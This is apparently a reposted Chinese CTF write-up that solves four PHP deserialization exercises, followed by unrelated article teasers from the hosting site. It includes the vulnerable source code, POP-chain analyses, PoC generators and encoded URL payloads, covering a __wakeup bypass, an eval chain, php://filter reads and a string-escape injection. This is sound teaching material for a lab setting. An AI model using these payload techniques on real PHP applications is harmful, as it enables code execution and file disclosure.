php反序列化练习题

Demo1

<?php  error_reporting(0); //关闭错误报告class happy{ protected $file='demo1.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ if(!empty($this->file)){if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作elsedie('Wrong filename.');}} function __wakeup(){ $this->file='demo1.php'; } public function __toString(){return '';}}if (!isset($_GET['file'])){ show_source('demo1.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } 
?> 
<!--password in flag.php--> 

分析

看到unserialize 先找找看有无 __wakeup()、__destruct()

happy类中有 __destruct() 方法 并且如果$file存在的话直接展示$file的代码

但是注意到happy类中还有 __wakeup() 方法 将$file的值改变

unserialize执行__destruct() 要先执行__wakeup() 因此要想办法绕过__wakeup()

POC

<?phpclass happy{ public $file='demo1.php'; }$o = new happy();echo serialize($o); //O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";}  \00为空字符 $s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';echo base64_encode($s);//Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9?>

 注意:protected 属性在序列化过后参数前面的标识符为\00*\00(\00为空字符) 但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替

构造payload
?file=Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

Demo2

<?php
show_source('demo2.php');
class test1
{public $varr;function __construct(){$this->varr = "demo2.php";}function __destruct(){if(file_exists($this->varr)){echo "<br />文件".$this->varr."存在<br />";}}
}class test2
{public $varr;public $obj;function __construct(){$this->varr='123456';$this->obj=null;}function __toString(){$this->obj->execute();return $this->varr;}function __destruct(){echo "<br />这是f2的析构函数<br />";}
}class test3
{public $varr;function execute(){eval($this->varr);}function __destruct(){echo "<br />这是f3的析构函数<br />";}
}if (isset($_GET['x'])) {unserialize($_GET['x']);}?>

分析

看到unserialize 找 __wakeup()、__destruct()

test1类中有 __destruct() 方法 其中会先判断file_exists()

class test1
{function __destruct(){if(file_exists($this->varr)){echo "<br />文件".$this->varr."存在<br />";}
}

如果file_exists() 的值为对象时 会执行 __toString() 方法,并且$varr 是可控的

搜索__toString() 方法,在 test2 中有 __toString() 方法

class test2
{public $varr;public $obj;function __construct(){$this->varr='123456';$this->obj=null;}function __toString(){$this->obj->execute();return $this->varr;}......
}

其中又指向 $this->obj->execute() 查找 execute() 方法 并且$varr 和 $obj; 是可控的

查找execute() 方法 参数直接执行eval() 在 test3 中有 execute() 方法 并且$varr 是可控的

class test3
{public $varr;function execute(){eval($this->varr);}......
}

POC

<?phpclass test1{public $varr;function __construct(){$this->varr = new test2();}}class test2{public $varr;public $obj;function __construct(){$this->varr='123456';$this->obj=new test3();}}class test3{public $varr = 'phpinfo();';}$o = new test1();$s = serialize($o);echo urlencode($s);
//O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D
?>

注意:输出url编码 是为防止特殊字符转义

构造payload

?x=O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D

 

Demo3

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get()函数。

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='demo3.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "demo3.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

看到unserialize 找 __wakeup()、__destruct()

show类中有 __wakeup() 方法 其中有$this->source 当 $source 为 Show 对象时会先执行 __construct

 当执行__toString() 方法 其中 $source 和 $str都是可控的

class Show{public $source;public $str;public function __construct($file='demo3.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "demo3.php";}}
}

__toString() 方法指向 $this->str->source; 会发现没有 source 方法 但是在 Test 类中找到了 __get() 方法 其中 $p 可控 并且 return $function(); 会触发 __invoke() 方法

class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}

在 Modifier 类中找到 __invoke() 方法 指向 append 方法 会执行 include() 就可以用php伪协议读文件

class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}

POC

<?phpclass Modifier{protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';}class Show{public $source;public $str;public function __construct($file='demo3.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return '666';}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = new Show();}}}class Test{public $p;public function __construct(){$this->p = new Modifier();}}$a = new Show();$a->str = new Test();$b = new Show($a);$s = serialize($b);echo $s;
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}echo '</br>';echo urlencode($s);
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22demo3.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
?>

构造payload:

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22demo3.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

Demo4

//index.php
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";if (isset($_GET['username']) && isset($_GET['password'])){$username = $_GET['username'];$password = $_GET['password'];$player = new player($username, $password);file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{echo "Please input the username or password!(get)\n";
}
?>
//common.php
<?php
function read($data){$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);return $data;
}
function write($data){$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);return $data;
}function check($data)
{if(stristr($data, 'name')!==False){die("Name Pass\n");}else{return $data;}
}
?>
//class.php
<?php
class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){return $this->admin;}
}class topsolo{protected $name;public function __construct($name = 'Riven'){$this->name = $name;}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}}class midsolo{protected $name;public function __construct($name){$this->name = $name;}public function __wakeup(){if ($this->name !== 'Yasuo'){$this->name = 'Yasuo';echo "No Yasuo! No Soul!\n";}}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}}
}class jungle{protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;}public function KS(){eval('phpinfo();');}public function __toString(){$this->KS();  return "";  }
}
?>
//play.php
<?php@error_reporting(0);require_once "common.php";require_once "class.php";@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));print_r($player);if ($player->get_admin() === 1){echo "FPX Champion\n";}else{echo "The Shy unstoppable\n";}
?>

分析

在 index.php 传入 username 和 password 然后通过 player 方法将对象反序列化的值输入到文件里

    $username = $_GET['username'];$password = $_GET['password'];$player = new player($username, $password);file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 	public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}
// $username=1&$paassword=1
// O:6:"player":3:{s:7:"\0*\0user";s:1:"1";s:7:"\0*\0pass";s:1:"1";s:8:"\0*\0admin";i:0;}

在 play.php 会将存入文件的值反序列化

在 topsolo 类中找到 __destruct() 方法 指向 tp() 当传入的 $name 是方法或者对象时 执行函数 传入对象 调用 __invoke() 方法 $name 可控

class topsolo{protected $name;public function __construct($name = 'Riven'){$this->name = $name;}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}
}

在 midsolo 类中有 __invoke() 方法 指向 Gank() 方法 stristr函数 当传的是对象 调用__toString() 方法

class midsolo{protected $name;class midsolo{protected $name;}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}}
}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}}
}

在 jungle 类中有 __toString() 方法 指向 KS() 方法 然后执行命令

class jungle{protected $name = "";public function KS(){eval('phpinfo();');}public function __toString(){$this->KS();  return "";  }
}

POC

<?phpclass topsolo{protected $name;public function __construct($name = 'Riven'){$this->name = new midsolo();}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}
}class midsolo{protected $name;public function __construct($name){$this->name = new jungle();}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}}
}class jungle{protected $name = "Th0r";
}$o = new topsolo();
$s = serialize($o);
echo $s;
// O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}
echo urlencode($s);
// O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

绕过wakeup()

为了绕过wakeup() 将midsolo后的1修改为2

注意:wakeup失效影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10

O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":2:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}`

O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

先在class.php里传入参数试了试 发现一直不能将值传进去

百度得知

早期的 PHP 版本允许函数调用时传递的参数少于函数定义本身要求的参数个数,但当你调用函数时就会抛出一个参数丢失的警告。但在 PHP 7.1 以后,这些警告变成了一个 ArgumentCountError 的异常

绕过stristr()

当表示字符类型的s大写时,会被当成16进制解析。

因此将 name---> \6e\61\6d\65,并将s改为S

function check($data)
{if(stristr($data, 'name')!==False){die("Name Pass\n");}else{return $data;}
}
O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

字符串逃逸

function read($data){$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);return $data;
}
function write($data){$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);return $data;
}

这里主要需要关注的是read函数 当在文件中读取字符串时 会将 \0*\0 变为 chr(0)."*".chr(0) 因此字符串数量减少了两个 从而达到逃逸

先将其传入查看

O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}

注意:%00在此表示空字符 以url编码的字符为准 这里可能造成url二次编码

需要的就是把 ";s:7:"%00*%00pass";s:130:" 注释掉 总共有23个字符

因此需要 23/2 +1 =12个 \0*\0 但需要补充一个字符 C

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

补充上之前注释掉的字符 ";s:7:"%00*%00pass"; 这样password对应的就是对象

password=C";s:7:"%00*%00pass";O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}

payload:?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C%22%3bs%3a7%3a%22%00%2A%00pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

访问play.php,找到flag

参考资料:php反序列化练习题 - Th0r - 博客园 (cnblogs.com),我得先消化消化,我是把这位博主写的内容摘抄到csdn了,供给大家观看,也便于我学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/47932.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis持久化(AOF和RDB)

目录 前言 一.RDB 1.1手动执行 1.2自动执行 二.AOF 2.1重写机制 三.混合持久化 Redis的学习专栏&#xff1a;http://t.csdnimg.cn/a8cvV 前言 持久化&#xff0c;在之前&#xff0c;我们接触这个词汇是在mysql数据库当中的事务四大特性里。 持久性&#xff1a;指一旦事…

Linux网络编程之UDP

文章目录 Linux网络编程之UDP1、端口号2、端口号和进程ID的区别3、重新认识网络通讯过程4、UDP协议的简单认识5、网络字节序6、socket编程接口6.1、socket常见接口6.2、sockaddr通用地址结构 7、简单的UDP网络程序7.1、服务器响应程序7.2、服务器执行命令行7.3、服务器英语单词…

vue中v-if和v-for

vue中v-if和v-for Vue 官方建议不要在同一个元素上同时使用 v-if 和 v-for 指令&#xff0c;主要有以下几个原因&#xff1a; 性能问题&#xff1a; 当 v-if 和 v-for 一起使用时&#xff0c;Vue 在每次渲染时都需要先执行循环&#xff0c;然后再对每个元素进行条件判断。这可能…

React antd form表单未保存跳转页面提示

需求是&#xff1a; 表单编辑后没保存&#xff0c;跳转其他页面需要提示未保存&#xff0c;保存就继续form的submit&#xff0c;反之就是关闭弹窗&#xff0c;再切换菜单正常跳转路由。 关键代码如下&#xff1a; const [initialFormValues, setInitialFormValues] useState…

vue学习笔记(十)——Vuex(状态管理,组件间共享数据)

1. vuex基础-介绍 1.1 为什么会有Vuex ? 在现代 Web 开发复杂多变的需求驱动之下&#xff0c;组件化开发已然成为了事实上的标准。然而大多数场景下的组件都并不是独立存在的&#xff0c;而是相互协作共同构成了一个复杂的业务功能。 组件间的通信成为了必不可少的开发需求。…

《Linux运维总结:基于ARM64架构CPU使用docker-compose一键离线部署单机版tendis2.4.2》

总结&#xff1a;整理不易&#xff0c;如果对你有帮助&#xff0c;可否点赞关注一下&#xff1f; 更多详细内容请参考&#xff1a;《Linux运维篇&#xff1a;Linux系统运维指南》 一、部署背景 由于业务系统的特殊性&#xff0c;我们需要面对不同的客户部署业务系统&#xff0…

Apache Kylin

Apache Kylin 是一个开源的分布式分析引擎&#xff0c;提供 SQL 查询接口及多维分析&#xff08;OLAP&#xff09;能力以支持超大规模数据集。它能在亚秒级的时间内提供 PB 级数据的查询能力&#xff0c;非常适合大数据分析和报表系统。 ### 入门指南 #### 1. 环境准备 首先…

数学建模——快递包裹装箱优化问题(2023年长三角数学建模A题问题一、问题二)

快递包裹装箱优化问题 2022 年&#xff0c;中国一年的包 裹已经超过1000 亿件&#xff0c;占据了全球快递事务量的一半以上。近几年&#xff0c;中国每年新增包裹数量相当于美国整个国家一年的包裹数量&#xff0c;十年前中国还是物流成本最昂贵的国家&#xff0c;当前中国已经…

LeetCode题练习与总结:两数之和Ⅱ-输入有序数组--167

一、题目描述 给你一个下标从 1 开始的整数数组 numbers &#xff0c;该数组已按 非递减顺序排列 &#xff0c;请你从数组中找出满足相加之和等于目标数 target 的两个数。如果设这两个数分别是 numbers[index1] 和 numbers[index2] &#xff0c;则 1 < index1 < index…

【IC前端虚拟项目】sanity_case的编写与通包测试

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 在花了大力气完成reference model之后,整个验证环境的搭建就完成了,再多看一下这个结构然后就可以进行sanity_case和通包测试: 关于sanity_case和通包测试我在很多篇文章中说过好多次了在这里就不赘述…

java 中的虚拟机的介绍

Java 虚拟机&#xff08;Java Virtual Machine&#xff0c;简称 JVM&#xff09;是运行 Java 应用程序的核心组件。它提供了一个平台无关的执行环境&#xff0c;使 Java 程序可以在各种硬件和操作系统上运行。以下是 JVM 的详细介绍&#xff1a; 1. JVM 的基本概念 JVM 是一种…

el-menu弹出菜单样式不生效

1. 使用 ruoyi 项目时出现的问题。 <template><el-menu:default-active"activeMenu":collapse"false":unique-opened"true"class"container":collapse-transition"true"mode"horizontal"><sideba…

华为od 100问 持续分享6-入职体检

我是一名软件开发培训机构老师&#xff0c;我的学生已经有上百人通过了华为OD机试&#xff0c;学生们每次考完试&#xff0c;会把题目拿出来一起交流分享。 重要&#xff1a;2024年5月份开始&#xff0c;考的都是OD统一考试&#xff08;D卷&#xff09;&#xff0c;题库已经整…

学习opencv

初步学习可以参考&#xff1a; OpenCV学习之路&#xff08;附加资料分享&#xff09;_opencv资料-CSDN博客 【OpenCV】OpenCV常用函数合集【持续更新】_opencv函数手册-CSDN博客 整体框架可以参考&#xff1a; OpenCV学习指南&#xff1a;从零基础到全面掌握&#xff08;零…

Linux驱动开发-05APP和驱动的交互方式

一、传输数据 APP和驱动: copy_to_usercopy_from_user驱动和硬件: 各个子系统的函数通过ioremap映射寄存器地址后,直接访问寄存器二、APP使用驱动的四种方式 驱动程序:提供能力,不提供策略 非阻塞(查询)(应用程序访问底层驱动时(read、write时),驱动没有数据不等待,…

基于 CNN(二维卷积Conv2D)+LSTM 实现股票多变量时间序列预测(PyTorch版)

前言 系列专栏:【深度学习&#xff1a;算法项目实战】✨︎ 涉及医疗健康、财经金融、商业零售、食品饮料、运动健身、交通运输、环境科学、社交媒体以及文本和图像处理等诸多领域&#xff0c;讨论了各种复杂的深度神经网络思想&#xff0c;如卷积神经网络、循环神经网络、生成对…

PHP 快速入门:构建动态网站的基础

引言 PHP&#xff0c;全称 Hypertext Preprocessor&#xff0c;是一种广泛用于创建动态网站的服务器端脚本语言。它易于学习&#xff0c;功能强大&#xff0c;能够与多种数据库系统&#xff08;如 MySQL&#xff09;集成&#xff0c;是 Web 开发者的常用工具之一。本文将带你快…

单机、集群、分布式服务器比较:

1. 单机服务器的瓶颈&#xff1a; 单机服务器&#xff1a;一台服务器独立运行一个工程所需的全部的业务模块 受限于服务器硬件资源&#xff0c;所承受用户并发量受限&#xff0c;32位linux操作系统最大并发量为两万任一模块的变动和修改&#xff0c;都会导致整个项目代码重新编…

轮播图变成响应式数据

文章目录 &#x1f412;个人主页&#xff1a;信计2102罗铠威&#x1f3c5;Vue项目常用组件模板仓库&#x1f4d6;前言&#xff1a; &#x1f412;个人主页&#xff1a;信计2102罗铠威 &#x1f3c5;Vue项目常用组件模板仓库 &#x1f4d6;前言&#xff1a; 本篇博客主要记录轮…

Android 14 适配之 - 隐式/显示 Intent 和 广播适配

隐式 Intent 对隐式Intent 限制: 对 Android 14(API 级别 34)或更高版本为目标平台的应用,Android 会限制应用向内部应用组件发送隐式 intent: 1. 即隐式 intent 只能发送给导出的组件。在应用必须使用显式 intent 来发送组件,且被发送的组件是未被导出的属性配置。 …